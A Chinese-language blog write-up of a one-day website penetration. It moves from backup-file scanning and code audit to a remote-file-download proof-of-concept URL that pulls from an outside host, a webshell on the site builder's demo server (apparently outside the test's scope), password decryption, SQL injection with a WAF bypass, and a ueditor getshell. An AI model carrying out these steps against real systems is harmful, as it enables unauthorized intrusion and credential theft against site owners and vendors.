程式設計程式碼:大神教你一天時間滲透一個破站

2020-10-29 11:00:28

使用關鍵詞得到目標原始碼

前言:對某網站進行滲透測試,此次滲透給的是一個主域名,並且也沒有子域,開啟了目標網站先對其進行一波資訊收集

 

中介軟體: IIS 8.5

 

輸入admin發現自動新增了/

說明其目錄存在,那麼盲猜一波檔案,login.aspx default.aspx main.aspx 等等

 

最終在login.aspx下面發現後臺登入頁面。這不猜他一波弱口令??

一頓操作過後賬號被鎖

 

熟悉的開局,既然如此只能嘗試其他方法了。

在主頁的html程式碼中發現了某處資訊

 

設計製作?根據後面的域名存取過去,是一個建站公司

那麼,入手點來了。IIS8.5+ASP.NET+建站系統

先掃一波備份檔案:

 

400多條ip這開發商還行。使用FOFA查詢工具,批次匯出

 

然後我們來掃一下備份檔案。這裡推薦我B哥的掃描器

htt刪ps://gith刪ub.com/broke刪n5/WebAl刪iveScan

可以進行批次存活掃描和目錄掃描

 

在好幾個站下面發現web.zip備份檔案。

下載下來過後,對其目標站點檔案進行了對比。基本一致

 

拿到程式碼開始審計多次碰壁

那麼開始審計。

 

在某介面處放下敏感操作 WebClient.DownloadFile (遠端檔案下載)

由於該方法需要提供絕對路徑。。比較頭疼,但我跟蹤相關引數。發現。

在另一個方法中呼叫了該方法。

 

並傳入Server.MapPath,這根本不需要找絕對路徑了系統都給你安排好了。

那麼構造POC:

ash刪x/api.ashx?m=do刪wnloadfile&FilePath=刪asmx.jpg&WebUrl=刪ht刪tp://***.cn/

 

存取地址:

 

檔案存在,那麼證明可行

回到目標地址:

 

被修復了檔案不存在

繼續回到程式碼中,審計其他漏洞在其他介面中,也均存在多個漏洞。如ueditor遠端抓取漏洞

 

檔案重新命名可Getshell

 

但是這些介面都需要登入

 

這就很頭疼了,打算在一些無需登入的介面中嘗試尋找SQL隱碼攻擊。

最終在某處發現SQL拼接。

 

但是這裡呼叫了IsSafeSqlString檢測

 

常見符號基本被卡的死死的

拿下開發商尋找通用賬號逆向加解密演演算法

由於都是使用了相同的建站程式,懷疑有程式內建賬戶

於是準備通過剛才審計出來的漏洞。從同程式的站點入手

最終在某個站點成功拿到Webshell

看了下相關資訊

 

居然是廠商的演示站群,存了該開發商所有站點原始碼。

應該是在開發過程中的演示環境吧站點有很多,估計每個客戶都有。

在伺服器裡翻到了目標站點的演示網站

 

根目錄下有zip網站備份和sql 資料庫備份。

如果說目標站點是直接搬遷過去的,那麼後臺賬戶密碼應該是一樣的。

將其SQL檔案下載下來。再其中搜尋相關資訊

 

發現了插入賬戶的SQL語句。其密碼是加密過的

 

cmd5解不開,看了下密文是33位加密。

但是登入過程中,密碼是RSA加密過後傳輸的,而後端居然是33位的md5加密

 

因為有原始碼,追蹤了一下登入了相關方法。

 

密碼傳入後,呼叫了CommFun.EnPwd進行了一次加密。

追蹤EnPwd方法

 

可以看到,傳入進來的密碼是RSA型別,先進行了一次RSA解密,然後進行了一次DES加密。

追蹤DESEncrypt.Encrypt方法。

 

這裡是將Encrypt方法封裝了一下,並傳入加密key。

其核心加密方法為下:

 

並且,在該類裡。還定義瞭解密方法

 

得到了加密方法和解密方法以及key。那麼只需要將其單獨拉出來呼叫就可以了。

 

將得到加密字元進行解密,得到結果

 

嘗試登入

 

忙活半天,白乾了。

柳暗花明拿下目標shell

已經下午4點了。還是一無進展,準備嘗試繞過SQL過濾。

就在這時候,我發現了一處SQL隱碼攻擊點。

 

某方法接收了兩個引數,卻只對一個引數進行了過濾。

在目標網站上測驗

 

存在注入,發現存在waf使用垃圾引數填充成功繞過waf

 

直接上sqlmap安心的跑,得到系統賬戶以及密文

將得到的密文進行解密,得到結果

 

更多幹貨分享 有相關學習資料 請加入我的企鵝圈哦!!!

嘗試登入。這下總對了吧!

 

終於進來了!!!!

經過之前的審計,發現了很多介面都存在漏洞,現在成功登入了。豈不是隨便getshell?

直接ueditor帶走。

 

成功shell